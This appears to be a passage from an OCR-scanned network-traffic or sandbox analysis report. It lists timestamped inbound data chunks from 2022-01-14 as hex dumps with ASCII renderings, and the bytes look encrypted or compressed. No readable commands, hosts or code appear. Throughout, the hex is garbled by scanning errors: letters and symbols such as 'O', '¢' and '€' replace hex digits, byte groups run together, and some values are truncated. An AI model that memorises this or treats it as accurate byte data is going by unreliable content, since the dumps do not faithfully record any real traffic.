4508 6b 28 5d d1 98 a0 6a cf af c5 61 03 9d d4 d7 17 5a ed 65 ea af 6b dd 3e 6a 32 ee 64 f2 59 39 de d5 05 6a 55 f5 4c
82 e581 97 ¢9319d 40 7d 3f aa 79 d2 Ob f4 71 7f 07 79 7f ef 4a 6f 6¢ cf d4 90 27 b6 56 9f 61 2d Oe e4 21 6 5b bf 80 b0
28 7b df c0 f1 63 f7 1e b6 3d c0 8b e2 9c c8 71 30 6e 6¢ b6 da 26 46 39 25 f1 79 87 4a fb 7b 99 56 95 44 b6 9f d5 c2 a3 69
ff ef 97 43 42 7b ef 00 3¢ 2e ca c6 33 2d c1 86 2f db 2d b2 b1 74 a4 d2 7f 01 7d Oe 57 c3 4f ce c6 13 41 c4 c5 72 5a 8b f4
3d a5 27 ¢5 23 a9 26 5b 7d d6 Oa 5a ¢3 32 c5 3b 86 2d 8c fd 0d db 58 39 3f 45 12 3e d8 0d db 9a c6 ab a0 97 c1 8f 32 78
55 ¢3 b3 b0 e6 c5 f7 al 04 6f 72 7a 45 3d 3c 46
Data Ascii: Tz@UpA)rlyglEySI}Ek(JjaZek>j2dY9jUL1@}?yqyJol'Va-![({c=q0nI&F9%yJ{VDIiCB{<.3-/-t}WOArZ="#&[}22;-X9?
E>2xUorzE=<F

2022-01-14 03:59:48 UTC 633 IN Data Raw: 71 5d 06 b9 94 07 ba al 64 6b 8c 37 e2 77 87 b2 d0 30 06 68 9c 8d 5f b4 b0 dO c4 23 36 01 5¢ b8 eb 75 33 06
d5 57 9b 8a 20 8c e8 f8 d9 2e 20 3¢ 08 b3 06 18 2c 21 77 1b fd 8f a7 5d ca 75 92 c9 57 2e a9 a2 b1 09 00 56 70 96 25 3c
66 8a ec 3a 57 51 le f8 94 12 2c ce a0 40 73 01 1c 3b 21 27 8¢ ¢6 71 20 8e 07 2f d1 13 71 3f 06 66 79 da 5f 07 f2 7e 50
a74232c5eca7 04 elbdad 7726 ba 99 06 6a 3b 1c 59 ee 75 e9 ac 17 45 be c7 8e c0 4e 32 4d e2 8d a9 67 b2 f4 53
45 f9 ab 64 eb d1 01 d9 02 6¢ d8 db 50 1e 8c a6 9a fe Oe 17 8e 1b 7f ac ac f5 81 35 1a c8 5d a9 df a4 a8 bd e3 09 65 2b
4a51 30 c7 4c a4 98 b9 69 26 23 cb 51 €0 9e d6 72 5f d8 3a 19 a6 55 €6 53 3c b4 e7 70 18 19 76 1f 04 4d ae 3f 40 db 93
70 4b 0a 74 5e 48 57 37 1d d6 dd 2d 1d 35 10 98 fa f5 59 4a
Data Ascii: qJdk7wOh_#6\u3W . <,!wJuW.Vp%<f:WQ,@s;!'q /q?fy_~PB2w&j;YUEN2MgSEdIP5]e+JQOLIi&#Qr_:US<pvM?
@pKt"HW7-5YJ

2022-01-14 03:59:48 UTC 649 IN Data Raw: 99 df 9d a9 14 69 15 ec d4 d2 12 35 8¢ a3 22 d7 fc 4c 26 dd c9 12 ea 1b cO c8 e2 d6 1a ef 6d c2 b1 ae 58 97 f3
4a da 62 39 a3 0a 02 Oc f2 d2 e6 Oc 35 6f 62 82 9c d1 ac 38 c4 de 2c 72 2a el 4b 39 4b f4 €8 54 9d e6 47 b8 fe ad fe 89
eb c2 e0 b7 0f 6d d1 13 6e 1c b9 4c a3 d3 e6 ae 2f 0a c7 48 8c 08 a5 ed dd 4c 32 d4 65 8e Oe 45 74 ¢3 51 63 f1 3c ec 91
a7 ¢l da 70 9c fa 28 38 f1 5b 56 bc 33 8f 06 dc ac 5f f9 85 94 14 91 50 ee 53 8b 32 86 ¢4 8a 62 11 bd 57 80 3b 6¢ 54 2f 51
cc bd 5f ac f9 da 1a ea 6d 8e Oc 10 ed 13 88 dd 63 d8 d5 cd 04 61 e3 a6 bf bf €9 6¢ ca Oe b2 d9 65 85 14 30 f3 {5 45 f6 70
02 dd 16 d7 40 87 49 9a 31 03 a8 d3 71 36 7f 35 b6 b7 05 9a 33 31 bf 05 a9 8a 9f 72 d6 8b 9c 1d ad 70 b5 10 06 fO 90 43
74 d6 3c ee 84 52 e4 b7 76 84 41 25 c0 Oe 33 4e
Data Ascii: i5"L&mXJb950b8,r*KIKTGmnL/HL2eEtQc<p(8[V3_PS2bW;IT/Q_mcaleOEp@I11q6531rpCt<RVA%3N

2022-01-14 03:59:48 UTC 665 IN Data Raw: 90 cd bd 74 a9 e8 c1 b3 9a 52 b0 55 2a 06 32 59 81 60 4e 8c 68 8e bd cd 1e a6 e6 Oe bd 2c 9a a9 ad 41 b1 18
7d b6 d1 ca b7 af e0 e0 06 01 4c de e6 a3 6a a9 50 €9 7b cd ce d6 bd d4 23 6e 26 e2 c5 2d 34 4b 8c d4 f2 56 a3 db a3 1b
b1 44 19 9e 0Oa ce 8f e6 2a c0 bb df a3 f4 fO 1e 74 23 3f e4 2a 84 a3 28 55 95 09 26 ad 4f ff 1b 9e 46 7b a7 8e cc 45 10 5b
Oe 38 a0 27 bf 13 93 7a 89 9f 31 43 af 7f 24 el b6 6d Of 03 df Of 1b 30 fb 52 4b d3 f9 69 7a b4 6b fe 09 26 43 1a 98 72 53
3d 55 70 00 44 38 cf 26 51 63 94 97 93 e2 a7 c0 2a 18 f4 c7 9d ab 72 d2 44 15 2f 3 f7 58 30 6¢ 45 34 fd 85 c¢7 ad 00 44 2a
62 c54b 05 d1 74 17 c2 e4 d7 Oa fO e4 11 4f ff 64 cd d3 5f 9f 36 f4 26 el 55 af 08 10 5f 25 3e ed 1c 7c ed 82 a5 3e bd 51
10 1a 72 bd 15 63 a8 Oe eb 35 59 62 79 29 c7
Data Ascii: tRU*2Y Nh,A}LjP{#n&-4KVD*t#?*(U&OF{E[8'21C$mORKizk&CrS=UpD8&Qc*rD/X0IE4D*bKtOd_6&U_%>|>Q
rc5Yby)

2022-01-14 03:59:48 UTC 681 IN Data Raw: d5 d8 47 45 ca 84 8¢ 87 55 6a 5 49 f2 99 f0 c8 €9 61 09 f9 f5 e6 fb e0 3b bb 66 1e 17 ae 13 a4 c8 e8 a9 54 c7
7 6a 58 ca 32 17 bc e2 9f 48 ac 92 2b 33 b9 4f Oe c1 90 ab al c9 95 5f 51 41 b0 bf 8e 5e e2 59 5a 34 4e 64 24 2d af f5 9d
75 d2 14 b7 0d 9a a5 66 1b 12 8d Oc Oc 45 f4 ee a4 23 4¢c 92 79 f1 67 03 6f ca f3 37 95 e7 38 07 76 0Of 55 5¢ 98 76 6e 04
bl 4e ae 75 6e 14 42 73 97 40 60 bf 6b 06 6d 9f d2 7a 28 3e b0 70 22 7e 11 f0 3a cd c1 52 19 28 79 25 13 16 Ob 2f bl 72
Oc d8 a3 ee af 2b ba cd aa dd 06 cf d8 4e 04 ca c7 20 aa 7f a2 4a 3e d5 91 c1 3c 54 ea el b5 2a 1f e4 77 7aca a2 71 95
da 01 bc 89 76 5f 45 af a0 08 50 f1 0a 2d 50 e5 81 7f 39 ¢6 85 5a 2f e7 dc 65 41 40 2b d6 1a e5 8f 4b 9c 92 8c aa 4b 9f 06
e4 e6 af 22 3fal 05 18 79 17 83 e3 cd f8 2b 34
Data Ascii: GEUjla;fTjX2H+30_QA"YZ4ANd$-ufE#Lygo78vU\nNUnBs@ kmz(>p"~:R(y%/r+N J><T*wzqv_EP-P9Z/eA@+
KK"2y+4

2022-01-14 03:59:48 UTC 697 IN Data Raw: 70 93 17 14 40 dc al fc bd f8 c6 8a €3 e4 ee 56 f9 e7 5¢ 61 8c 82 63 ee 2b 5e dc 14 94 f6 ¢7 f8 77 46 7c 6 c2
50 d0 e2 e ef 16 40 62 76 4a 1le 21 a3 75 b0 e8 ae 07 7c bb bd 86 ca 9c 76 aa 56 7a 8b 72 ba 6b cb 3a 6f 59 f1 92 b5 84
8e be 35 02 08 08 bf 57 9f 2f a5 f4 34 17 5e b1 2b 65 28 b2 46 b9 79 8f 4e 19 ad b8 fd 32 28 53 c4 9a 3f 37 1d c0 1e d3 2¢
48 12 3a 59 14 07 ab b4 03 0d 01 e0 71 30 dd 3d 43 45 f4 02 ad e3 26 11 2f c0 d2 89 20 76 77 e5 81 el f9 eb 65 8d 31 8f
25911 00 ce 37 04 2a al 02 c8 2c 72 16 71 d7 a3 4c 9e 88 30 84 bc d2 aa b2 da dc 16 21 ef 2f 1b 7c 95 92 16 01 3d 9a
b8 08 eb 01 77 1e c6 23 a3 38 97 8e 7c 1d 99 2e c6 f2 d2 53 f8 e7 Of 68 4f b6 al 42 e0 df d6 4f 77 f9 ac a4 73 3f 3e bc 20
3ed5c9b5ecab 17 78 c8d5 a2 57 d3 Oc bc 61
Data Ascii: p@V\ac+"wF|P@bvJ!u|vVzrk:0Y5W/4 +e(FyN2(S?7,H:Yq0=CE&/ vwel/Y7*,rqL0!/|=w#8|.ShOBOws?> >xWa

2022-01-14 03:59:48 UTC 713 IN Data Raw: f9 9a ab ea dd f1 d4 ea 61 59 13 ca ad 6b fa 99 29 9e 7b Ob 3f d8 47 57 52 63 17 23 41 3b 51 4d 4c c6 ab 9d
10 b6 48 c3 8c 30 10 b8 2a 7f 68 05 30 da 06 d5 28 37 69 42 1c 62 2b cf 23 67 a2 27 43 29 a7 98 ¢8 32 7a cb a2 27 8a 79
78 df 39 7b f4 18 8f 58 a2 85 d7 92 3 ¢8 5b 5d a4 5a 6¢ 8e 19 37 Oc 05 24 c0 29 8a 20 29 67 19 b6 f9 74 62 el d5 a0 a6
52 d2 be 54 31 ff 44 7d 27 Ob 01 51 8b 40 99 Oc 9a c8 69 f2 81 1f 6d 19 6a 39 20 51 94 c4 al 28 a3 c6 ee e2 cf 0f 82 d1
bd c5 4b ae b3 25 77 3d 1d 38 3e f0 2e 29 Oa df 79 f8 93 8f 74 13 c6 a6 54 33 89 5¢ 60 1a df 2a c2 23 0a 9b bc 79 bc 06
56 al d7 el 58 ae 4e ff 03 89 84 00 9d 7d 54 e6 71 c4 ff 9d cd 6f 45 fd ba e7 ec 5a b3 17 40 66 b7 89 Oe 9a f0 43 6d 88 99
b7 0a c1 35 cc 1le eb 57 1d d1 90 92 24 Ob Oa fd ab 48
Data Ascii: aYK){?GWRCc#A;QMLHO0*h0(7iBb+#g'C)2z'yx9{X[]ZI7$) )gtbRT1D}Q@imj9 Q(K%w=8>.)ytT3\ *#yVXN}
TgoEZ@fCm5WS$H

2022-01-14 03:59:48 UTC 729 IN Data Raw: 61 a8 03 e6 a5 a4 16 44 Oc Oe 35 24 29 31 c6 68 ca ec 14 2b 3e ca 9f 67 df 2b 13 b1 62 e8 0a 77 ec 4c 3f 54
6b 55 f4 45 be 0f 31 63 ¢4 d9 b8 3d d1 07 92 61 73 16 c9 38 08 ea 54 14 1d c3 3c 00 be 66 ee 47 11 fb 6b e9 27 6¢ 73 80
0f 31 97 80 13 17 ce cf 8a f8 fO ce 2¢c 13 44 d4 31 1c 9f 52 ce c6 44 ff 78 48 cc ac 2d a7 b7 d3 d9 47 6d 9c 06 26 2a fd fO
7af8 80 91 47 fb dc 69 05 ef 56 ¢8 64 c8 7e 9d 3a 4f de e6 1b ef 9a a6 17 el 6f 7c 49 7a 2f 96 5b 84 68 12 a6 Of ee e2 c8
a8 b6 c3 48 12 28 4a e7 0f 6¢ 2c e7 79 2b 7d ff 7c 7a 67 dc ff 2e b9 aa 63 43 f9 38 5d Oe 1b 6d 03 12 5b ca 72 c8 70 fb ee
aa 1c b0 fe 51 26 6 70 ba ad 1a c7 ed bc d2 65 c9 da 19 a3 ab 1a e3 a4 bc a0 8c a8 cd f6 b6 d4 78 62 1e 51 14 5¢ 44 a2
bc 3d 19 d3 3f 16 ce ec 20 90 01 10 03 7d 70 57
Data Ascii: aD5$)1h+>g+bwL?TkUE1c=as8T<fGk'Is1,D1RDxH-Gm&*zGiVd~:0o|lz/[hH(JI,y+}|zg.cC8]m[rpQ&pexbQ\D=?
W
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 745 IN Data Raw: 80 c5 fe 08 93 04 d3 24 00 d4 3d 70 67 29 70 29 ea aa 64 fc b0 81 47 el 4b 8c fb 26 ef f2 b3 17 58 ae b2 ac 23
ec f3 be 38 48 0f ed b8 a8 6f 2d af 5a ac 1le 28 fa 84 7d 87 4c 22 e6 db 2f ea 4d a8 46 b4 38 61 0d 90 b7 4d 36 85 1d eb ef
ce a4 c4 03 90 64 44 c0 fd 1c b1 8b d3 94 f5 f8 ¢3 d4 94 51 72 ed 9a e8 a2 bl 96 3d e4 fd 34 c2 d3 bf 29 24 b5 b6 1a aa
89 8e 49 61 c6 c4 e0 fc ec 6b 6b 14 41 21 dd 7f 18 d5 b4 2e bf cf 4a 2d 6d ec 8a ed 07 b0 2e b0 fa 52 84 13 72 66 f1 6f cO
d8 a8 e6 61 fe 8c 6a 00 be f1 a3 a3 4e e7 90 f0 f9 Od 7e aa eb 2c 31 03 95 93 ac 6f 6d ba d3 78 5d f1 5d 1b f2 4a 55 87 4e
be 53 71 e2 2e el b8 3e 36 0Of 8e bc ee 3b cb 1a 3c e3 e6 e6 cd 97 32 3d 99 2a 24 ae 50 e5 1c a4 66 c9 a3 30 bb 07 99
a7 fc 13 cd db 6a e8 ea cc 65 08 a5 82 a9 5d b9
Data Ascii: $=pg)p)dGK&X#8Ho-Z(}L"/MF8aM6dDQr=4)$lakkA!.J-m.RrfoajN~,1omx]][JUNSq.>6;<2=*$Pf0je]

2022-01-14 03:59:48 UTC 761 IN Data Raw: cd a0 5e 86 d3 89 dc ec 77 5¢c 51 e4 6e 3c 31 7b 61 0f 04 15 e7 7a c2 d4 bc dO af 10 c2 60 5d aa 1c 0d ce 33
1la 74 48 fc c9 68 46 04 85 dc d9 69 f8 4a b0 a6 bd 81 1b 28 b2 e8 6a ad 02 c1 8d d8 5c Oc 2d 23 2e a7 ee 45 f9 d7 72 47
2709121 c5f28d 1le ed 9e 52 78 da e2 77 ee 1f 65 91 €9 e5 10 03 c3 81 f4 78 01 a4 df da 78 €9 a9 a8 64 00 2e 77 6d
20 aa 52 a4 6b cf 39 f1 1b 7b ff 5b 19 b3 6a 25 ec e6 86 53 67 04 fb 06 c7 b4 ed 91 82 c8 a3 18 82 93 9b b6 47 16 03 ea
70 a2 00 69 3d 37 53 40 19 60 08 ff 8d bd 04 91 f4 bb 1b 61 35 9e 4e 75 0d 2b ba c9 a0 37 81 b1 8f ec fd 73 76 el a0 e4
04 20 eb 46 d4 67 1c 11 ba 96 73 1f 04 4e 14 bf 88 23 f8 3a 61 b5 ff a9 12 8c ad 8e 73 46 14 f9 44 3b 18 68 8e ch 73 60
d6 83 e8 64 83 b4 c3 24 38 6f 58 fb f8 9d 91 bd 05 ee bb
Data Ascii: "w\Qn<1{az [3tHhFiJ(j\-#.ErG"IRxwexxd.wm Rk9{[j%SgGpi=7S@ a5Nu+7sv FgsN#:asFD;hs d$80X

2022-01-14 03:59:48 UTC 777 IN Data Raw: 52 e8 Of af 13 d3 5¢ ¢3 83 87 c9 f7 al 53 49 69 1a 45 f3 74 94 00 ba 40 70 1c a5 e3 48 c7 8f 33 d1 ff db 02 5b
clf4 ee df 56 1b 7f 43 42 cf b3 03 35 2b f0 09 af 4a ba c1 b9 2b cd 26 cc cb bb 16 60 9f 1c 65 96 be a9 e5 35 c¢3 18 96 cf
df 1b 01 96 2d 86 48 7f 76 99 b0 17 83 f9 bd b3 2c 09 f4 df 83 92 8d 7a ff 5f 91 f4 fa 10 5d 7a bf 98 33 43 4f 14 bf bf 7f 19
31 03 c2 84 36 fe b0 56 a6 a2 8d Oe 64 a3 18 dd 09 7d 08 f6 6d 66 €3 Oe 22 3e d2 ff 38 05 c¢7 b5 3c 70 4f 96 17 9c 56 6¢
3d el 79 54 79 9d 09 ff d3 9b 3d b4 54 bd d5 e7 ff 4d 8¢ bc 93 f7 56 Ob c8 ce 1a 1la 16 d5 49 37 ed ee d6 30 b5 51 3e 9¢c
40 d1 dc 9e b5 e4 5e 31 19 62 42 f9 f7 f5 2a 58 99 02 5f 97 9d 11 81 89 2d 36 73 37 51 95 95 57 c¢6 9c 6 7d 39 96 71 b2
6¢ fb d1 db 22 24 c8 cd a3 db b3 3c d1 a3 94
Data Ascii: R\SIIEt@pH3[VCB5+J+& e5-Hv,z_]z3C016Vd}imf">8<pOVI=yTy=TMVI70Q>@"1bB*X_-657QW}9ql"$<

2022-01-14 03:59:48 UTC 793 IN Data Raw: 10 c2 44 82 65 81 dc f2 d3 fd 5¢c ac 7a c4 ea 66 47 7e 67 bc ac b3 bc c4 08 28 04 30 f2 6e 8b 48 3f c4 aa 46 2a
7d a4 09 5¢c 28 d1 5e 01 9c 74 bb 76 ea bc 01 51 8f 3b 67 f0 5a 65 27 2e af de 40 Oc 3e 5f f3 3e 2c 4e 67 f9 6f 68 f1 91 01
82 6a db ac 05 d3 19 22 a8 6d 37 78 7 57 a5 8b 85 c1 c0 ef 69 34 cc ca b6 91 02 79 ¢3 61 50 ea 46 3f b8 d2 61 69 7b 50
96 €9 55 a5 fd 7d 5e b8 2e 18 17 86 8d 93 61 ab ae f2 70 9d 77 6b a2 a2 76 b9 ed 3a e4 1f ef Ob fa 49 6¢ b5 5a 56 al 75
26 8e 25 0f 8a Oe 0d cd 5e ad fe fd 6b 5¢c 7d b1 54 11 73 5a e2 65 ed bc f9 d7 bf {7 da ac ae f0 el 81 1d 60 fO be e2 20 19
6b 76 33 6a 07 2b e2 bb 83 da 21 f9 al 78 88 €9 b1 57 35 4e 92 be 2c Oe bd 74 37 34 1a cc f6 86 c¢8 c6 ad 16 5¢c b0 2b ea
b6 79 e3 a3 f4 03 9a a0 ea 18 d3 79 b3 64 16 1a
Data Ascii: De\zfG~g(OnH?F*})\(*"tvQ;gZe’.@>_>,Ngohj"'m7xWidyaPF?ai{PU}*.apwkv:[IZVu&%"k\}TsZe" kv3j+IXW5N,t74\+y
yd

2022-01-14 03:59:48 UTC 809 IN Data Raw: b5 c0 84 42 f6 al 5¢ 36 75 9d Of e0 34 6a bd €9 aa bb e2 93 77 81 47 20 60 ba 69 5a 33 47 27 8d e2 f2 f9 fc f3
9b 7a 06 67 51 c7 87 fc dc 2f 00 44 fc 97 30 8¢ be €5 al 97 98 cb 14 05 db c0 2c dc Oe 84 b7 42 8b ac d7 91 55 ae 16 74
52 e8 70 84 0a 94 dc 99 86 e5 bb 5¢c a3 ca 36 08 c6 1a al e0 9b fa e0 f9 ca ff Oc 58 9e d5 c2 4a 34 89 a7 58 d6 92 c1 8b
fb ca 5¢ 8a 23 el 8d 9d 8a f4 84 fa 1f 2e 8d 9a 6f 94 43 85 e2 85 d2 e9 99 53 c0 05 f5 06 aa c6 c2 41 16 54 ac af 46 a9 cb
87 e5 7d 2e 4d a3 44 f4 ad 1f d2 ac 15 5¢ 6a 14 f5 09 10 4c e4 00 76 9a 7a 12 92 3e a9 e6 14 be db be bd 7a 18 6a 93 f9
15 b8 bd ¢8 f0 d1 03 98 3f €8 a3 07 73 14 de 4c 60 8d 1c cf aa 2e 04 5¢ c2 16 €9 ef 1¢c 56 97 66 66 39 ad 66 Oe 1b 42 21
20 1e 6b cd 62 b8 52 86 60 83 f1 c1 e2 f5 77 6f ab
Data Ascii: B\6u4jwG "iZ3G'zgQ/D0,BUtRp\6XJ4X\#.0CSATF}.MD\jLvz>zj?sL".\VffofB! kbR wo

2022-01-14 03:59:48 UTC 825 IN Data Raw: 14 d7 ec e7 1b 6d f4 75 e7 ff 65 81 52 0b 78 96 98 95 d3 al 70 6f 60 58 62 3c 51 67 eb b5 de 79 20 16 05 90 5f
23 2e f8 ¢1 82 a9 5d 2c 1e de 09 fc c0 43 5d 1c dc c9 6b 55 32 8d f0 4a d3 8f 8e 8e Oc 99 2e 6f 24 eb bc 19 c0 cc d7 ca ec
fd 2e 31 72 cf 3d 6f 51 54 1e 06 2b fb a4 90 e7 64 9f c6 3d 8a 2e ¢4 c7 81 10 24 b9 9f 41 ed 3a 3d d2 3a e2 63 d4 1b 56
b9 44 70 0a e3 e8 fa a2 31 9c e4 3c 7d a3 a9 de 5a 7d a5 84 9a bb e9 4a f8 5f f5 91 19 92 el 5e 49 bf 8f d9 2f 55 71 f2 17
99 58 17 48 3b 5a 70 b3 al Ob 4d 6a ad 4a 29 7a f3 1a 55 58 6 79 d7 al 03 51 62 37 Ob 19 cf 14 ca ca 0f 46 ca fa 6e 75
6e 06 ab e4 df a5 e6 99 75 5¢ el cf ff 56 8e e7 e0 3d 31 c2 cd a2 5c¢ f6 b5 04 76 80 9d 19 29 cf d5 ff 54 cd a8 19 0d 16 55
42 2c 4376 17 a9 c5 2 4c fe 29 48 19 39 c8
Data Ascii: mueRxpo Xb<Qgy _#.],C]kU2J.0$.1r=0QT+d=.$A:=:cVDp1<}Z}J_"/UgXH;ZpM]J)zZUXyQb7Fnunu\V=1\v
)TUB,CvL)H9

2022-01-14 03:59:48 UTC 841 IN Data Raw: 39 3d de 0d 8a 3f 38 9b 38 2a 9f 49 ed 20 78 a0 83 bb 08 d3 2f 52 46 06 53 c1 €0 47 63 df 5 1c 39 45 37 b1 b3
4b 48 ee 5d 07 b1 67 30 3 61 8a 16 96 dc 90 cd 6a 13 10 70 7f de 0 d1 29 86 cf a3 dc ed 6¢ 2d 57 d4 35 99 21 c0 fd d5
d7 60 7¢ 58 a3 dd 61 ac fb f1 a3 ee db 47 bb f6 f8 61 c2 a0 54 c1 55 44 9f 3a Of 94 3b 60 Of 3 d5 Oe 40 a7 €0 42 d1 61 55
49 a2 6d e6 36 d3 92 2f e2 c9 28 dd 4a ba b7 2f f0 69 cd 29 a8 c9 64 b0 72 7c 80 6b a9 b6 e3 39 48 82 60 a2 dc 3a 63 ce
5¢ 0b 0d 13 b5 16 f1 1b 3a 3d €5 71 4e ae 14 bb 3b 80 ec 4e b8 27 3f 45 a5 b6 c9 32 25 94 bf eb 14 63 3e 9 b6 {7 28 84
b2 dc f2 72 5b 0d 2e 4b 59 3b db 99 4b f2 8¢ ¢7 9d 36 ed 4a 98 c8 aa 64 99 45 dd 0d be 2f 18 09 3a b7 86 17 e8 be 38 bl
b1 ad 19 ae 5e 77 3f 96 6b 24 68 5b 81 15 6d d9 46
Data Ascii: 9=?88* x/RFSGCOE7KH]g0?ajp)l-W5!"|XaGaTUD:; @BaUlm6/(J/i)dr|k9H :c\:=qN;N'?2E2%c>(1[. KY:K6JAE/:8"W
2k$h[mF

2022-01-14 03:59:48 UTC 857 IN Data Raw: 51 3¢ 26 2c a9 bc e4 b4 fd df e3 9a 39 1b 84 ed b2 01 20 be 8c 81 ad 56 72 09 8f 70 94 f1 12 e2 40 6b c6 6b 2
b4 8 93 22 49 83 3f e8 dc 33 78 9b 43 a2 89 ¢3 b2 a9 79 72 1e d1 30 95 1c ec 13 2f 7c 14 34 45 8e 67 7 42 6d 14 73 dd
dd 70 d4 d3 50 70 bc 5e d6 55 b3 c2 df 00 bb c7 58 42 79 5d c6 8a 38 7c ce 6e Oc 4a 01 81 82 5b b8 3c 3d ef 23 4f 09 32
a8 34 44 17 1e ef e7 73 b7 b5 13 25 42 f1 ec 0Of 74 68 7e 7c 2e ba 5f 52 a0 27 37 91 d1 37 59 09 b5 1a bf be ad 3f fb 48 c4
bd da 54 e5 e3 c2 49 cb 1a 17 ea 22 b1 88 ae c9 4f 30 3b 5f 1a 58 bd f1 87 cb bf 52 a9 10 f1 f2 ce ec a5 f1 Oc 9c 77 73 e4
a4 be 5f 73 4e cd 37 bl 8 46 b4 1f 17 02 41 d8 67 77 de 51 58 99 d1 03 df ce 89 02 d2 38 c0 2d 09 9d b1 ef €8 46 88 ab
1f 81 3a 5¢ 49 9c f0 8a 77 94 6e 96 67 Of 7d a0
Data Ascii: Q<&,9 Vrp@KkKk"1?3xCyr0/|[4EgBmspPp”*UXBy]8|nJ[<=#024Ds%Bth~|._R'77Y?HTI"O0;_XRws_sN7FAgwQX8-
F:\lwng}

2022-01-14 03:59:48 UTC 873 IN Data Raw: 6e bc db 3d cd 3a 99 7b 02 03 4c 5e 74 2a 9a aa 3d fd ¢3 bl 7f ac 32 ab a9 29 11 2c e3 ¢c6 f2 {7 ad ed b5 ab 31
e9 7d f4 33 27 ¢8 78 1b 19 26 d0 18 66 cd ac cf 23 81 ef ca 5a 54 15 15 95 bb 34 86 1d 89 3a 61 c4 {7 dc cd b7 8e c6 38
a6 f1 28 46 dc b7 d0 ba 52 03 01 e3 el 26 ac 80 4d 04 53 75 83 65 d5 d4 el 22 12 a6 24 5b 2e bl e8 2d ac 1a d1 1c 58
5a 92 da 9f 9c 79 6¢ 48 54 5¢ 02 32 56 15 5b ce ba 5b e3 4a cd 56 dO c6 59 18 ee 8b 38 9b 12 03 3f 6f 21 9d c2 b8 cb 08
33 d2 60 d8 e6 ca ef 0f 94 d5 4e af Ob 32 09 56 84 65 8e 50 db f5 66 10 b9 25 e5 4e 4b 5¢ dc 5b 53 94 72 6a cf c2 6d 29
05 3e 75 31 ec ee a5 61 d0 2b 7a 00 1b 9a 3f a6 82 a3 ad 55 5e b6 a5 d8 a3 68 9b 7d 33 db 3a Ob el a3 bc ce 25 63 ba
d2 4b 80 de 08 cd 3a 3f 11 d4 96 5e 84 6a f4 db 86 27 c8 bd
Data Ascii: n=:{L"t*=2),1}3'x&f#ZT4:a8(FR&MSue"$[.-XZyIHT\2V[[JVY8?0!3 ' N2VePf%NK\[Srjm)>ula+z?U"h}3:%cK: 2"
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 889 IN Data Raw: 1c 34 22 b3 4e f4 53 de 8a 21 a5 96 1c e0 a5 4f bb 36 ce bc 27 34 11 6e 66 08 2b dd a4 08 af 10 2c 03 0Of 2a db
b7 e3 6a 14 da 31 d2 81 15 a6 9d 7a 2f da 3d 5d 4a 50 ba ab 52 1b 59 a5 04 07 41 3b a5 cb 10 0a d3 a9 64 a5 4b 30 6b
06 53 ff 2a ee 6d f4 34 c3 07 c0 ca 4e 14 6e 1e 87 6d 81 84 2a 9d c3 al 77 ee a9 fO f5 ad ed 8f 40 d4 33 8d 20 {7 d2 2a 7f
0a c8 72 cl 45 13 43 51 bb b0 04 f4 df 24 82 81 90 66 73 59 53 5a aa 88 41 f4 97 87 04 b9 75 e4 85 6f ec 64 7d 14 2f 37
68 4a ce 7b 31 c8 70 a0 3d 5f Ob f8 ed 8f €0 79 58 40 8e fc 55 ef be 95 34 16 80 17 a8 13 a5 8b 92 ¢6 7d 75 cb 4c 50 el
8e dc bc b2 87 c5 a7 41 3f 68 34 23 23 56 02 03 f1 ef d5 7e 84 98 Ob 18 6a 23 af 4¢c 3a b5 07 2d 9c bc 72 ea 2b 14 bd 22
a4 72 e0 da 6a c9 6¢ 99 38 8b 1f bc 67 2d 07 bf 1d fa
Data Ascii: 4"NS!06'4nf+,*j1z/=]JPRYA;dKOkS*m4Nnm*w@3 *rECQ$fsYSZAuod}/7hI{1p=_yX@U4JuLPA?h4##V~j#L -
r+"rjl8g-

2022-01-14 03:59:48 UTC 905 IN Data Raw: Oa 19 Ob 51 35 2 6¢ 47 56 51 0d bc 16 4a 73 34 9b 8f b3 7c Oe €8 57 d3 cf 5e 89 78 79 88 41 ad 40 d5 81 fa 20
85 99 2f 2e 3b 4c f6 7f dd c6 5b 1a 01 31 f9 98 85 ff 5f 54 cc Oc f8 1a 2a a6 Oc 9b 04 8d 89 28 36 ea 00 f8 6a 43 fe 50 b2
79 60 c3 b0 df 9a al b4 25 4f b3 a2 83 aa 70 6d 55 72 1c 75 Oe ef 5b 41 6d b6 ec 79 df 98 50 44 57 c6 19 27 fe 40 39 37
38 65 91 67 df 30 60 f2 9b ce 98 bd d6 db b5 73 d3 e1 17 ab 13 a0 f8 d2 1e c0 e2 68 c4 c3 a6 a3 4b dO 6b cd bf 19 04 06
8e 61 ad 4a 89 bl 1a dd 84 a6 5c cb fe 3e 24 bd ec b3 11 a5 de 55 bd 7e 80 13 5f bb e4 43 94 45 b1 92 f6 €0 89 fd 8e 82
fb a7 1d 46 76 6e cf dd 5f d2 e8 ba a8 23 d8 b7 d2 1d 08 09 7c cd d3 ca 40 78 7b 62 70 f8 c8 e0 7c €0 35 c2 38 8b df 87
19 a5 bc ee f5 f0 6d 8 29 dd e5 4c Oc b6 9a 74 cb
Data Ascii: Q5IGVQJIs4|W”xyA@ /.;L[1_T*(6jCPy %OpmUru[AmyPDW'@978eg0 shKkaJ\>$U~_CEFvn_#|@x{bp|58m)Lt

2022-01-14 03:59:48 UTC 921 IN Data Raw: b1 Ob 1a d9 13 76 4e b4 5c cc 6 99 41 c¢1 d9 32 d3 72 1e 67 77 46 Oe 15 32 06 ed f6 af 7e €5 77 c1 08 Oa 1f
02 fb 79 cc 44 82 80 47 8b 80 2b d6 7c c7 6d 53 d6 09 38 fd fc a0 cf 12 9f 52 9f ¢3 c0 48 Oa d9 c9 68 d6 ff 86 9c 30 ec 69
df e8 72 cc 39 00 16 b0 6e 45 fb 65 b5 f2 31 9¢ d3 28 00 €0 7d bc 3a 57 e7 b9 a7 9f 80 89 7f b6 6d 9d e7 b7 a8 64 92 f8
a2 b5d5d2 7ce4 51 2¢ 51 54 fb 01 7303 dc 37 1le cc f4 7e ff bl 7d 2b f7 d9 71 1c 92 57 11 ac a6 6b da c1 ae c2 11 e8 0:
d4 52 60 el 18 b2 91 41 6d f4 f7 48 82 3c 4b f3 ce d3 52 ¢5 15 ce 42 ¢7 58 9d 2d 06 6b f6 62 24 38 cb aa ac fa af 98 b4 d9
d7 59 6¢ ¢7 f0 81 1a 72 5¢ 57 fa 60 39 77 3d 56 87 90 d3 ff 5d a2 e4 2f e7 d2 2d f6 11 84 33 af ea fb 84 27 ff {7 e2 78 cc 50
fe ca d6 3e 80 13 38 18 4b 65 20 f9 55 1c
